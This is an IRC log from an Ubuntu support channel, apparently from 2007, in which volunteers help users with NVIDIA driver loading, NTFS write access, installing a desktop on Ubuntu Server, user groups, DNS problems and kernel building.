[09:52] <WaltzingAlong> !pastebin
[09:52] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[09:52] <heartsblood> could somebody please explain the difference between the nvidia and nv modules?
[09:53] <bruenig> nvidia is the real thing, nv is not
[09:53] <heartsblood> figured as much
[09:53] <stdin> heartsblood: "nv" is the open-source module, "nvidia" is the closed source
[09:53] <nickrud> keito: most likey /usr/lib/firefox/plugins
[09:54] <heartsblood> has anybody had problems getting the nvidia module to load on ubuntu systems?  I dont ever remember haveing much of a problem in deb.
[09:54] <keito> nickrud: i shall go have a look, it was in ~/.mozilla/plugins before then I removed and installed again using automatix then it *disappeared*! ;0)
[09:54] <urilockz> nevermind. i fixed it
[09:54] <Paddy_EIRE> hmm.. I think amaya just crashed X
[09:54] <bruenig> heartsblood, modrpobe it
[09:54] <Sajes> I got it to load fine. :o
[09:54] <bruenig> modprobe*
[09:54] <urilockz> i just had to not be lazy
[09:54] <ubuntuuser> pike_: i restarted and it doesnt move from Running local boot scripts (etc/re.local
[09:55] <keito> nickrud: spot on, you was right
[09:55] <mw-home> I have a 64bit cpu.  is it possible to make it emulate a 32-bit cpu, so that I can use programs like macromedia flash, that can't handle 64-bit CPUs?
[09:55] <heartsblood> I get no return from modprobe nvidia
[09:55] <nickrud> !chroot | mw-home
[09:55] <ubotu> mw-home: https://wiki.ubuntu.com/DebootstrapChroot use this to build 32 bit environments on a 64 bit box
[09:55] <phoenix24> what does usplash do ?
[09:55] <bruenig> mw-home, you can install the 32 bit OS on it also
[09:55] <nickrud> mw-home: but nspluginwrapper would probably be easier
[09:55] <bruenig> mw-home, unless you need those awesome floats or something and have to keep it 64 bit
[09:56] <pedrider2008> I cannot write files to my external drive, it is formatted in NTFS and I am on Ubuntu 7.04, does anyone know how to fix this?
[09:56] <nickrud> !ntfs-3g | pedrider2008
[09:56] <ubotu> pedrider2008: ntfs-3g is a Linux driver which allows read/write access to NTFS partitions. Installation instructions at https://help.ubuntu.com/community/MountingWindowsPartitions
[09:56] <pedrider2008> thanks, im lookinf at it now
[09:56] <heartsblood> the error in the gdm/xorg logs say "failed to initialize the NVIDIA kernel moduel. ><
[09:56] <panfist> hey i was wondering if anyone knew of a good program for linux that lets you maintain a library of your external media, like cds, dvds, etc
[09:56] <ianm_> pedrider2008: or reformat it as FAT32
[09:56] <mw-home> bruenig: so, I would just choose whether to boot into the 32 bit OS?
[09:57] <bruenig> mw-home, just reinstall with the 32 bit disk
[09:57] <ubuntuuser> pike_: the sudo /etc/init.d/gdm start doesnt work command not found
[09:57] <heartsblood> I'm wondering if letting invidia compile it's own moduel was a good idea.
[09:57] <heartsblood> nvidia*
[09:58] <nickrud> heartsblood: invidia is awfully close to invidious, and it can be :)
[09:58] <velko> panfist,  http://www.gnomefiles.org/app.php/CDCollect
[09:58] <Sippy> hi, im not sure if this is the right place to ask, but here goes.  Im trying to use minicom to connect to my 56k serial modem.  I have the serial port set properly and the default initialization string returns OK.  but after that i cannot print commands into the program.  and the only characters it accepts are "a" and <ctrl>-r which prints "HP" for some reason.  If anyone has experienced a simmilar problem or knows how to solve this I would really aprec
[09:58] <heartsblood> ><
[09:58] <kazim59> my firefox hangs too much these days
[09:58] <heartsblood> so i'm learning that
[09:58] <blockabey> hi
[09:59] <heartsblood> not that I care much, was it true that ati decided to go open source for their gfx line?
[09:59] <panfist> velko ty
[09:59] <ubuntuuser> [pike_] 
[09:59] <nickrud> Sippy: try ate1 , I think that's the turn echo on, might be off
[09:59] <blockabey> Hi room
[09:59] <Sippy> ok
[09:59] <ubuntuuser> can anyone help me
[09:59] <Sippy> if i turn echo on then it should work?
[09:59] <fastputty> someone could help me, i dont know why my crontab stop working few day ago at midnight
[10:00] <drock> im having trouble starting X on a PCI nvidia 5200
[10:00] <velko> blockabey, you don't expect 1145 people to say "hello", do you?
[10:00] <pegger> anyone got ubuntu install on a soekris box?
[10:00] <ubuntuuser> can anyone help me
[10:00] <ikonia> whats up ubuntuuser
[10:00] <Sippy> ok it looks to be working ok now thanks so much :D
[10:00] <ubuntuuser> i cant get desktop to run
[10:01] <genii> Sippy: perhaps try:    ATZ,,        then: ATM3     (turns speaker loud)       then: ATDT<your phonenumberhere>      this will let you know if it picks up the line, or tries. then you should be able to hear it dialling etc ,busy most likely. To hangup ATH0
[10:01] <ikonia> ubuntuuser whats the error /problem ?
[10:01] <Sippy> hayes commandset drives me crazy some times
[10:01] <Sippy> :P
[10:01] <ubuntuuser> command not found
[10:01] <axz> hi all
[10:01] <ikonia> ubuntuuser what command ?
[10:02] <pike_> ubuntuuser: did you sudo apt-get install ubuntu-desktop before that command?
[10:02] <Paddy_EIRE> would anyone recommend kompozer for a wysiwig web design tool
[10:02] <ubuntuuser> ikonia: sudo /etc/init.d/gdm start
[10:02] <ubuntuuser> yea
[10:02] <WaltzingAlong> ubuntuuser: yes we can help you
[10:02] <genii> Sippy: Yeah, all the AT stuff LOL. Your modem may use some weird codes and not stock AT set, maybe check your user manual about this
[10:02] <ikonia> ubuntuuser what ubuntu version / desktop are you using ?
[10:03] <holotone> how do I add a new admin user from bash while still making sure that it behaves just as if I had created it from the gui?
[10:03] <ubuntuuser> Ubuntu 7.04 - Supported to 2008
[10:03] <pedrider2008> I just installed the ntfs-conf package, ran the tool from my system tools menu and it still will not let me write to it
[10:03] <WaltzingAlong> ubuntuuser: has it worked?
[10:03] <pike_> ubuntuuser: your apt-get update worked without issue so i dunno what is wrong. try startx or xinit then just alt-ctrl-backspace to get back to command line
[10:03] <ikonia> ubuntuuser and what desktop ?
[10:03] <dgjones> Paddy_EIRE, yes, i would, only used it a bit, but seemed quite good
[10:03] <WaltzingAlong> ubuntuuser: gnome? kde? xfce? fluxbox?
[10:03] <ubuntuuser> its on server
[10:03] <Paddy_EIRE> dgjones, ok
[10:03] <ikonia> ubuntuuser ok - so not desktop you need to install one
[10:03] <WaltzingAlong> ubuntuuser: server comes with no desktop
[10:03] <pike_> he ran apt-get for ubuntu-desktop
[10:03] <ubuntuuser> i did
[10:03] <ubuntuuser> already
[10:04] <ikonia> ubuntuuser so "sudo apt-get install gnome-desktop"
[10:04] <ubuntuuser> idid with out gnome
[10:04] <ikonia> ubuntuuser so "sudo apt-get install gnome-desktop"
[10:04] <ompaul> ikonia, why not ubuntu-desktop to pull in other things like gdm
[10:04] <velko> holotone, use the command "adduser" or "useradd", add this user to the desired groups (/etc/groups) and give him sudo privileges (visudo)
[10:04] <ubuntuuser> idid with out gnome
[10:04] <erUSUL> holotone: add the user and then add her to the admin group and all others you betong to
[10:04] <ikonia> ompaul because thats not worked so I won't to know why
[10:04] <ikonia> ompaul so one thing at a time
[10:04] <ompaul> ikonia, k
[10:04] <WaltzingAlong> ubuntuuser: ok so what do you see with sudo /etc/init.d/gdm restart   /
[10:05] <WaltzingAlong> genii: making a mocha?
[10:05] <erUSUL> velko: the visudo step is not necessary just add the user to the admin group
[10:05] <ikonia> ompaul hi fyi:
[10:05] <ubuntuuser> could not find command not found
[10:05] <genii> WaltzingAlong: Nah :) I just have a phobia of finding no coffee
[10:05] <ompaul> ikonia, y
[10:05] <velko> erUSUL, right, this is in case he has special desires
[10:06] <holotone> velko: not sure how to add a user to a group, or the correct syntax for visudo
[10:06] <frameset_> hi, how can i run my bluetooth?
[10:06] <holotone> erUSUL: how do I add a user to a group?
[10:06] <ubuntuuser> WaltzingAlong: could not find command not found
[10:06] <erUSUL> velko: giving what he is asking i do not think we should intro him to the secrets of sudoers file ;)
[10:06] <ikonia> ubuntuuser so "sudo apt-get install gnome-desktop"
[10:06] <holotone> erUSUL: and does adding a user to the admin group give that user sudo privs?
[10:06] <WaltzingAlong> !gnome-desktop
[10:06] <ubotu> Sorry, I don't know anything about gnome-desktop - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[10:06] <axz> guys
[10:06] <erUSUL> holotone: adduser user group
[10:06] <ubuntuuser> ikonia: could not find command not found
[10:06] <WaltzingAlong> ikonia: that does not show up in my lists
[10:07] <axz> how to install firefox 32 on 64bit
[10:07] <WaltzingAlong> no sudo?
[10:07] <WaltzingAlong> axz: one way is to use a 32bit chroot
[10:07] <erUSUL> holotone: yes it gives her the hability to use sudo
[10:07] <holotone> is the group name "admin"?
[10:07] <erUSUL> holotone: yes
[10:07] <ikonia> ubuntuuser you need to start reporting exact problems / errors
[10:07] <ubuntuuser> ok
[10:07] <axz> cant install it on 64bit?
[10:07] <erUSUL> !flash64 | axz
[10:07] <ubotu> axz: You can run Flash, Real, and Java plugins in AMD64 bit computers with Firefox. see the steps to follow at https://help.ubuntu.com/community/FirefoxAMD64FlashJava
[10:08] <Mthed> how do i save my iptables rules and start them after restart?
[10:08] <ubuntuuser> E- canot find package gnome-desktop
[10:08] <dwxreaper> why am I able to use VNC only after I login, I need to be able to use VNC before.  I had installed VNC, I don't see it anywhere, so I didn't uninstall
[10:08] <ikonia> ubuntuuser ok - so my package name is wrong, so "apt-cache search gnome-desktop"
[10:08] <dwxreaper> then I set the remotedesktop option in the menu, and downloaded remotedesktop or whatever. (i'm not sure the name)
[10:08] <ikonia> I've not got an ubuntu box handy to check the names, so you'll have to look
[10:08] <dwxreaper> vnc works, but only after I login through the gui.  how do I make it start with the computer!
[10:09] <ompaul> ikonia, ubuntu-desktop is the base one
[10:09] <DShepherd> ikonia, ubuntu-desktop maybe?
[10:09] <pike_> ubuntuuser: you wanna install a streamlines fluxbox desktop??
[10:09] <smultron> what's the bash way of printing the current user name? like: echo $HOME will print the user's home directory, but i just need the username by itself
[10:09] <ikonia> ompaul not after the ubuntu desktop as thats got all the gdm stuff, just the gnome one
[10:09] <pike_> streamlined
[10:09] <ubuntuuser> wats tht
[10:09] <holotone> \sweeet
[10:09] <ompaul> ikonia, all then gnome
[10:09] <WaltzingAlong> sudo aptitude install kubuntu-desktop ?
[10:09] <genii> [nrx] : You alive?
[10:09] <holotone> erUSUL: Thanks!
[10:09] <WaltzingAlong> for kde or sudo aptitude install xubuntu-desktop for xfce
[10:09] <holotone> velko: Thanks!
[10:09] <ikonia> WaltzingAlong hang on - he's installed gnome - lets not stick another desktop on it
[10:09] <erUSUL> holotone: no problem
[10:09] <ikonia> lets fix the problem
[10:10] <dgjones> ikonia, is the one you're looking for "gnome-desktop-environment"
[10:10] <[nrx] > genii: yes
[10:10] <drock> Can someone help?  Xorg is completely fckd
[10:10] <smultron_> what's the bash way of printing the current user name? like: echo $HOME will print the user's home directory, but i just need the username by itself
[10:10] <ikonia> dgjones thankyou, perfect
[10:10] <pike_> ubuntuuser: sudo apt-get install xserver-xorg fluxbox conky; echo "exec fluxbox" > ~/.xinitrc; xinit   <-- thats my typical desktop install not the best for new user though
[10:10] <ubuntuuser> wat
[10:10] <ikonia> ubuntuuser sudo apt-get install gnome-desktop-environment
[10:10] <pike_> ubuntuuser: ignore me
[10:11] <velko> smultron, echo $USER
[10:11] <erUSUL> smultron_: whoami
[10:11] <smultron> erUSUL: awesome. thanks :)
[10:11] <ubuntuuser> [ikonia]  Package not found
[10:11] <heartsblood> why would modprobe give me this error; FATAL: Module nv not found
[10:11] <erUSUL> Mthed: iptables-save
[10:12] <[nrx] > is anyone aware of a fix for the ipv6 and routers with DNS problems?
[10:12] <ubuntuuser> wich is thishttp://links.juarez-undernet.org/screenshots/Screenshot-22.png
[10:12] <drock> Can someone help?  My Xorg is completely fckd
[10:12] <erUSUL> holotone: becouse there is no module named nv in the correct path
[10:12] <heartsblood> I can use it if I specify X to use it in the conf
[10:12] <erUSUL> holotone: sorry
[10:12] <ikonia> ubuntuuser ok - "sudo apt-get install ubuntu-desktop"
[10:12] <ubuntuuser> ok is tht http://links.juarez-undernet.org/screenshots/Screenshot-22.png
[10:12] <erUSUL> heartsblood: becouse there is no module named nv in the correct path
[10:12] <heartsblood> hmm
[10:13] <heartsblood> then how can nv load?
[10:13] <erUSUL> heartsblood: the kernel module for NVIDIA cards is called nvidia
[10:13] <heartsblood> the one from nvidia yes, but I can only run gdm if I use the nv moduel
[10:13] <_gpg_> hello
[10:13] <zaidar> i want to manually edit my session for GDM -- how ?
[10:13] <ubuntuuser> [ikonia]  its unpacking
[10:13] <erUSUL> heartsblood: nv is the name of the open source 2D only *Xserver* driver (not kernel module)
[10:13] <heartsblood> thats 'nv' not 'nvidia'
[10:13] <heartsblood> hm
[10:14] <heartsblood> they why will gdm load with nv and not nvidia?
[10:14] <velko> zaidar, vi /etc/gdm/gdm.conf
[10:14] <pike_> draconius: sudo dpkg-reconfigure xserver-xorg  ??
[10:14] <ikonia> heartsblood not configured correclty
[10:14] <_gpg_> i was using an application wich generate unic Identifiers, i know it exists but dont remember its name, any one have an idea please ?
[10:14] <zaidar> velko, sweet
[10:14] <pike_> draconius: nm not for you
[10:14] <heartsblood> when I try to get modprobe to force the load of 'nvidia' I get FATAL: error running install command for nvidia
[10:14] <heartsblood> hmm
[10:14] <ikonia> heartsblood module is not compatible or installed correctly
[10:15] <ikonia> heartsblood where did you get the module ?
[10:15] <heartsblood> that's what I figured but I can't figure out why
[10:15] <heartsblood> nvidia.com
[10:15] <heartsblood> rev 100
[10:15] <ikonia> heartsblood is there are reason your not using the nvidia-glx package from ubuntu ?
[10:15] <erUSUL> !nvidia > heartsblood
[10:15] <zaidar> velko, the file directs me to edit  /etc/gdm/gdm.conf-custom - so it isn't overwritten during an upgrade
[10:15] <zaidar> velko, i am going to do that -- just thought i would let you know
[10:15] <heartsblood> well for starters I dont like percompiled packages, I want to know how the damn thing ticks.  and second I NEVER had this much trouble with deb.
[10:16] <zaidar> velko, :)
[10:16] <heartsblood> ><
[10:16] <zaidar> velko, thanks by the way
[10:16] <ikonia> heartsblood 1.) nvidia is precompiled from nvidia.com so you'll not know how it works 2.) ubuntu is not debian
[10:16] <ubuntuuser> [ikonia]  : sould it be eayier to download the desktop version
[10:16] <velko> zaidar, cool. i'm not using ubuntu anyway but just learned something new :-)
[10:16] <ikonia> ubuntuuser very much so
[10:16] <heartsblood> ikonia: I havn't tried them yet.  I'd rather figure out why the package from my vendor isn't working.  I know it's not the hardware (it's worked fine in other distros)
[10:17] <ubuntuuser> k
[10:17] <ikonia> heartsblood your not using a package from your vender
[10:17] <heartsblood> I understand it's not open source that's not what i'm trying to say
[10:17] <heartsblood> I just want to be able to install a driver from the vender of my hardware.  I dont want to rely on the middle man.  no offense to those who maintain ubuntu.
[10:17] <ikonia> heartsblood the modules on the nvidia site are not compatible with all kernels, hence why its best to use what your distro packages
[10:18] <heartsblood> hmm
[10:18] <phoenix24> how can i know, whether a loaded-kernel module is being needed or not ?
[10:18] <WaltzingAlong> heartsblood: and you can install one from nvidia or ati
[10:18] <ikonia> heartsblood then you should know the compatability/incompatability limits if you want to do it your self
[10:18] <ikonia> heartsblood what version of nvidia are you using
[10:18] <ikonia> oops
[10:18] <heartsblood> in short, that is exactly what i'm trying to learn atm
[10:18] <ikonia> heartsblood I meant what version of ubuntu are you using
[10:18] <heartsblood> ubuntu is very different from deb :x
[10:18] <ikonia> heartsblood well, enjoy learning
[10:18] <praet> phoenix24: modprobe -l?
[10:19] <WaltzingAlong> phoenix24: try removing it, lol
[10:19] <ikonia> ubuntu is based on debian so its not massivly different, but it is packaged different
[10:19] <heartsblood> the latest off the tsite.
[10:19] <heartsblood> site*
[10:19] <ikonia> heartsblood which one ?
[10:19] <WaltzingAlong> !latest
[10:19] <ubotu> Common Sense: Just because you can, does not mean you should. Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability.
[10:19] <heartsblood> I really couldn't tell you to be honest, I grabbed the 'desktop' x86 version.
[10:19] <heartsblood> as of yesterday :x
[10:19] <heartsblood> lo
[10:20] <ikonia> heartsblood you'll get little help here debugging problems if you don't even know what version your using
[10:20] <iGama> Hy
[10:20] <heartsblood> lol* F this keyboard
[10:20] <praet> heartsblood: you download the run file or script and install it that way
[10:20] <WaltzingAlong> heartsblood: well it would have to be one suited for your system
[10:20] <erUSUL> heartsblood: the name of the package contains the version number...
[10:20] <iGama> how does one generate the html for falcon?
[10:20] <heartsblood> I dont have the package number on this system anymore
[10:20] <heartsblood> I can tell you my kernel version if that's what your trying to get
[10:20] <erUSUL> heartsblood: e.g. that the latest beta iirc NVIDIA-Linux-x86-100.14.09-pkg1.run
[10:20] <WaltzingAlong> heartsblood: luckily the middleman was there for me so i did not need to ask synaptics for a touchpad driver or ibm for a hard drive driver
[10:21] <WaltzingAlong> heartsblood: want the version of the nvidia driver you grabbed from the site
[10:21] <erUSUL> heartsblood: that's what i'm using atm
[10:21] <heartsblood> yes I'm using 100.14.06
[10:21] <heartsblood> yes I'm using 100.14.09*
[10:21] <heartsblood> well
[10:21] <heartsblood> trying to ><
[10:22] <WaltzingAlong> heartsblood: had you already installed the ubuntu provided nvidia driver?
[10:22] <heartsblood> no, only the defualt nv was running from the basic install
[10:22] <heartsblood> and I can get into gdm fine if I switch it to load nv.
[10:22] <seras> excuse me can i get some xfce help here? just a panel question having to do with gutsy.
[10:22] <markgreene> Hey guys. Sound on my computer was was working last night. Today I was using the laptop and after a few hours of using it I went to play a song and it plays, but no sound comes out. Obviously I have checked all my mixer settings. Where do I start troubleshooting?
[10:23] <dgjones> !gutsy | seras
[10:23] <ubotu> seras: Gutsy Gibbon is the code name for the next release of Ubuntu (7.10) | (due October 2007) | It is development software, as such unstable, support _only_ in #ubuntu+1
[10:23] <heartsblood> I think the problem is in the building of the module itself. when I was trying to run the install script it told me it couldn't find the right kernel modules and that it had to build it itself.  -It did, but I'm pretty sure that's the problem.
[10:23] <seras> thank you
[10:23] <heartsblood> I'm just not sure why the build messed up
[10:23] <[nrx] > anyone know why apt-get is resolving everything to 1.0.0.0?
[10:24] <usser> heartsblood: no module building is part of the install of video driver
[10:24] <WaltzingAlong> [nrx] : tis your router
[10:24] <erUSUL> heartsblood: have you instaled the build-essential package and the kernel-heders?
[10:24] <ikonia> heartsblood thats not the problem
[10:24] <[nrx] > WaltzingAlong: explain?
[10:24] <WaltzingAlong> heartsblood: well luckily these things are programmed in such a way to provide helpful troubleshooting data
[10:24] <heartsblood> headers yes, build-essential I couldn't tell you for sure.
[10:24] <ikonia> heartsblood most of the time it has to re-build the kernel interface
[10:24] <ikonia> heartsblood if you have an actual module - the build worked
[10:24] <WaltzingAlong> [nrx] : well a guess anyway; had issues myself with an actiontec adsl gateway
[10:24] <heartsblood> well yes and no
[10:24] <[nrx] > how did you resolve it?
[10:24] <[nrx] > and don't say you changed router :\
[10:25] <WaltzingAlong> [nrx] : bypassed the actiontec router for dns requests
[10:25] <wilhart> is there any program to modify bashrc prompt?
[10:25] <WaltzingAlong> wilhart: such as a text editor?
[10:25] <[nrx] > WaltzingAlong: this is a laptop.. so am i sposed to change the damn dns servers everytime i change location?
[10:25] <ikonia> wilhart its the PS1 environment variable
[10:25] <Jowi> [nrx] , how does your /etc/hosts look?
[10:25] <wilhart> is there any url for a good site?
[10:25] <[nrx] > jowi, points to the router
[10:25] <wilhart> where i can rip those PS1:s
[10:26] <ikonia> wilhart look for yourself
[10:26] <hjmills> wilhart, look into your bashrc file and the truth shall be revealed
[10:26] <heartsblood> there are too many unknowns here for me, I'll brb, i'm gonna get the exact file name.
[10:26] <Jowi> [nrx] , what?
[10:26] <ikonia> heartsblood the exact file name doesn't matter
[10:26] <velko> wilhart, ask google for "bash PS1"
[10:26] <hjmills> wilhart, the best site for a decent PS1 is google
[10:26] <wilhart> hjmills: havent found any
[10:26] <[nrx] > er
[10:26] <[nrx] > lol
[10:26] <ikonia> heartsblood the build worked fine
[10:26] <WaltzingAlong> [nrx] : if that is the case, then it should happen only with this faulty router.
[10:26] <heartsblood> yes
[10:26] <heartsblood> no errors
[10:26] <ikonia> heartsblood it couldn't find a kernel interface (which is expected) so built its on
[10:26] <ikonia> own
[10:26] <ikonia> thats not a problem
[10:26] <ikonia> thats a good thing
[10:26] <heartsblood> yes kernel interface, that was the file I was thinking
[10:26] <Jowi> [nrx] , does /etc/hosts contain 1.0.0.0 somewhere?
[10:27] <ikonia> thats a good thing - not a problem
[10:27] <heartsblood> then why on earth wont it load
[10:27] <heartsblood> arg
[10:27] <WaltzingAlong> [nrx] : cat /etc/resolv.conf   points to the router?
[10:27] <[nrx] > Jowi: no.  http://pastebin.com/m55e3bebd
[10:27] <[nrx] > WaltzingAlong: yes
[10:27] <ikonia> heartsblood do you know how to debug modules ?
[10:27] <alteregoz> whats the name of that console based tool to search the apt repos by category ?
[10:27] <WaltzingAlong> [nrx] : which router is it?
[10:27] <Numz> Hey i need some help
[10:27] <[nrx] > dlink
[10:27] <heartsblood> no, but i'm a fast learner if you tell me what I need to read
[10:27] <kazim59> Numz: ask your question
[10:28] <ikonia> heartsblood not really a reading thing, more experience, its just learning experience
[10:28] <velko> alteregoz, you can do that with aptitude for example. start it without parameters
[10:28] <Numz> I 2 500GB that where in a software raid on FreeNAS(XFS filesystem) and i switched to ubuntu after some problems and need help recovering the files if at all possible.
[10:28] <Numz> Raid 0
[10:28] <heartsblood> hm
[10:28] <Jowi> [nrx] , it's only apt that behaves that way?
[10:28] <[nrx] > jowi, yeah, but i can't get GAIM to connect to anything either
[10:28] <ikonia> Numz raid 0 = unrecoverable
[10:28] <Numz> Ewwww
[10:28] <heartsblood> where would I start?
[10:28] <[nrx] > WaltzingAlong: DSL-G624T
[10:28] <Numz> I dont feel like ripping my 5million dvds and cds again :(
[10:28] <Jowi> [nrx] , so your browser works at least?
[10:29] <ikonia> heartsblood well look for module dependencies for starters
[10:29] <urilockz> i have a CS2 photoshop CD here, is there any way I can get it going on ubuntu? I run setup and i get like 10 error messages :c
[10:29] <KlrSp1> anyone know why my interface would just randomly switch to eth1 from eth0 with no change (all I did was reboot)
[10:29] <[nrx] > Jowi: yes, i've only just got it working by blacklisting ipv6 and adding some lines to the hosts file for ipv6
[10:29] <heartsblood> how?
[10:29] <heartsblood> modprobe?
[10:29] <[nrx] > urilockz: try gimp
[10:29] <ikonia> heartsblood this is the thing - its just experience.
[10:29] <heartsblood> hm
[10:30] <ikonia> heartsblood I don't really want to walk you through it
[10:30] <stefg> heartsblood: be aware that there are two conflicting methods of getting the nvidia-glx blob attached to the kernel: a.) ubuntus restricted manager, which uses a well tested nvidia-glx version b.) nvidias proprietary installer, which bypasses the package manager and will break after each kernel update. YOu have to uninstall restricted manager if you choose to go Nvidias way
[10:30] <heartsblood> no worries
[10:30] <ikonia> heartsblood just use the nvidia-glx package, its compatiable and packaged for a reason
[10:30] <Jowi> [nrx] , did you restart/remove the ipv6 module as well?
[10:30] <WaltzingAlong> [nrx] : a dlink?
[10:30] <[nrx] > Jowi: no?
[10:30] <[nrx] > WaltzingAlong: yes
[10:30] <Numz> Im south africa woot woot
[10:30] <[nrx] > WaltzingAlong: DSL-G624T
[10:31] <[nrx] > Jowi: how would i remove it? <\noob>
[10:31] <heartsblood> the nv driver doesn't use glx does it?
[10:31] <ikonia> heartsblood no
[10:31] <heartsblood> it's just 2d right?
[10:31] <KlrSp1> you'll have to black list it, then reboot
[10:31] <KlrSp1> because it's most likely in use
[10:31] <heartsblood> hm
[10:31] <ikonia> heartsblood the nv driver is reasonable weak
[10:31] <Jowi> [nrx] , well, after you blacklist it you should restart your computer
[10:31] <[nrx] > jowi, done that :)
[10:31] <ikonia> heartsblood however you can install the nvidia-glx package with a compatiable nvidia kernel module
[10:31] <ikonia> pre-packaged from ubuntu
[10:31] <KlrSp1> I'm having a weird problem where all I did was reboot, and my eth0 changed to eth1
[10:31] <KlrSp1> what's weird is dmesg shows it assigned to eth0
[10:31] <WaltzingAlong> [nrx] : see the bug report about it at https://bugs.launchpad.net/ubuntu/+bug/81057
[10:32] <KlrSp1> but the link available on eth1
[10:32] <KlrSp1> pissing me off
[10:32] <ikonia> heartsblood nvidia-glx is NOT the nv driver
[10:32] <ikonia> KlrSp1 that language is uncalled for
[10:32] <heartsblood> yes I'm aware of that
[10:32] <ikonia> heartsblood just checking
[10:32] <[nrx] > i think maybe a firmware upgrade
[10:32] <[nrx] > i shall try that!
[10:32] <velko> KlrSp1, does /etc/network/interfaces say eth0 or eht1? and what does "sudo ifconfig" says? does it look right or not?
[10:33] <KlrSp1> velko: it is configured to eth0, but ifconfig says eth1
[10:33] <cookie_> hello
[10:33] <cookie_> how r u?
[10:33] <Jowi> [nrx] , ok, does /etc/resolv.conf point to DNS servers or to the router?
[10:33] <ikonia> cookie_ this is a support channel, not chat channel
[10:33] <velko> KlrSp1, and /etc/network/interfaces?
[10:34] <KlrSp1> velko: yeah, that's what I was saying is configured to eth0
[10:34] <WaltzingAlong> ikonia: sometimes i find that through chatting support can be provided
[10:34] <pike_> cookie_: /join #ubuntu-offtopic  there are plenty of us in there :)
[10:34] <KlrSp1> iface eth0 inet dhcp
[10:34] <KlrSp1> auto eth0
[10:34] <ikonia> WaltzingAlong thats not the channels policy
[10:34] <velko> KlrSp1, hmm. can't help you with that. sorry
[10:34] <WaltzingAlong> ikonia: just teasing ;D
[10:34] <MeTa> Hi all, i'm building a new kernel, can anybody explain what is "High resolution timer support?" and do i need that on my laptop?
[10:34] <stormfrog> Anyone installed wordpress for ubuntu/debian..? I completely puzzled by the setup. It is not possible to specify a databasename, and for some retarded reason the mysql script that sets up wordspress database also MUST create a user??! And it does this without asking for the rootpassword for mysql. Gah... anyone help me please!!!
[10:35] <velko> MeTa, you don't need it
[10:35] <MeTa> velko > okay, and whats that?
[10:35] <WaltzingAlong> MeTa: google 1st, ask second? how quickly the internal clock cycles
[10:35] <ikonia> meta if your build a kernel you should know
[10:35] <MeTa> WaltzingAlong > i'm asking second.
[10:35] <stormfrog> I already have a user and a wordpress database I want to use, but I cant use them because the installscript must create them :P
[10:35] <axz> guys whats url to more packges ?
[10:35] <ikonia> meta you should also know where to ask - not in ubuntu support channels
[10:35] <axz> sources
[10:35] <WaltzingAlong> anyway, MeTa it is how fast the internal clock of the kernel cycles
[10:35] <heartsblood> if I built my own kernel how much of ubuntu would I break?
[10:35] <axz> !repo
[10:35] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[10:36] <MeTa> ikonia > true, but i thought it's a short question with a short ansver like velko's "no"
[10:36] <ikonia> heartsblood depends how much you understand
[10:36] <MeTa> btw thx all.
[10:36] <KlrSp1> bbias, rebooting to try something
[10:36] <pack> heartsblood, depends on how much you turn off.
[10:36] <heartsblood> I've built my own kernel but it's been years. and it was in deb
[10:36] <WaltzingAlong> heartsblood: best to build an ubuntu style deb then install it through apt
[10:36] <stefg> Meta: you probably don't need it. http://ubuntuforums.org/showthread.php?t=311158&highlight=master+kernel
[10:36] <ikonia> heartsblood I would advise against it
[10:36] <WaltzingAlong> stefg: the question was not about need
[10:36] <MeTa> i'm following actually that guide
[10:37] <heartsblood> one of the things I remember from my days in deb is I never liked packaged drivers open or closed source.  Alsa gave me ulcers before it became popular
[10:37] <stefg> heartsblood: that depends on right you configure the kernel and how many of the right patches you apply to a vanilla kernel source
[10:37] <andruk> how do i plot a regression curve onto the graph in gnumeric?
[10:37] <pack> heartsblood, same stuff that applied then applies now. Don't get rid of things like automount or sysfs. Don't enable DevFS at boot (If ti's still even an option). Just make sure you don't delete your old kernel so you can back out if things go wrong.
[10:38] <heartsblood> pack: that's a given
[10:39] <stefg> heartsblood: imho package managers are the best thing since sliced bread. you might want to look at module-assistant, which makes packaging your self comapiled modules a breeze
[10:39] <pack> heartsblood, I think it's a good idea to do stuff like recompile your kernel sometimes. Makes you learn things you wouldn't otherwise.
[10:39] <notv> how do i open the restricted drivers manager from the terminal?
[10:39] <WaltzingAlong> heartsblood: you may just as well load the config you are using, then tweak from there
[10:39] <WaltzingAlong> stefg: as you may (or may not) recall, sliced bread was not popular when it arrived ;)
[10:39] <stefg> hehe
[10:39] <ikonia> don't use an ubuntu .config file on different kernels
[10:39] <WaltzingAlong> notv: gksu restricted-manager              but that will still need an X server
[10:40] <heartsblood> you mean the ubuntu config?
[10:40] <ikonia> don't use the ubuntu config on different or vanilla kernels
[10:40] <heartsblood> yea that didn't sound like a good idea
[10:40] <WaltzingAlong> not suggesting to use it, maybe use it as a starting point
[10:40] <heartsblood> ah
[10:40] <Grungebunny> vanilla kernels? what about chocolate?
[10:40] <heartsblood> :)
[10:40] <WaltzingAlong> only come in vanilla and strawberry
[10:41] <WaltzingAlong> both artificically (or "naturally") flavored anyway
[10:41] <ikonia> ok - we get the joke
[10:41] <notv> waltzingalong can i do it without gui
[10:41] <WaltzingAlong> MeTa: so now you know all there is about high res timers?
[10:41] <Numz> ubuntu > windows ?
[10:41] <stefg> although peeking in the config ain't a bad idea.... so you know what originally was going on
[10:41] <Grungebunny> Numz correct
[10:41] <WaltzingAlong> notv: sudo aptitude                  then in there you can find the one you want
[10:41] <stormfrog> Seriously? How is it even possible to take Wordpress ber simple install setup and make it into a horrendous code project if you install it with apt-get. Its darn near impossible to get working :P
[10:41] <MeTa> WaltzingAlong > i'm didn't know what it is. it isn't said anywhere
[10:41] <ikonia> stormfrog works out of the box
[10:41] <WaltzingAlong> stormfrog: fix it ie find out
[10:42] <Numz> ubuntu > os x?
[10:42] <Evanlec> !stormfrog
[10:42] <ubotu> Sorry, I don't know anything about stormfrog - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[10:42] <WaltzingAlong> MeTa: but the question has seen replies
[10:42] <MeTa> i'm not remember that i get any reply to "and what is that?"
[10:42] <MeTa> i jsut get i didn't need that.
[10:42] <stormfrog> ikonia: if you download it and set it up with the default install its simple... but with apt-get install its just completely fubar.
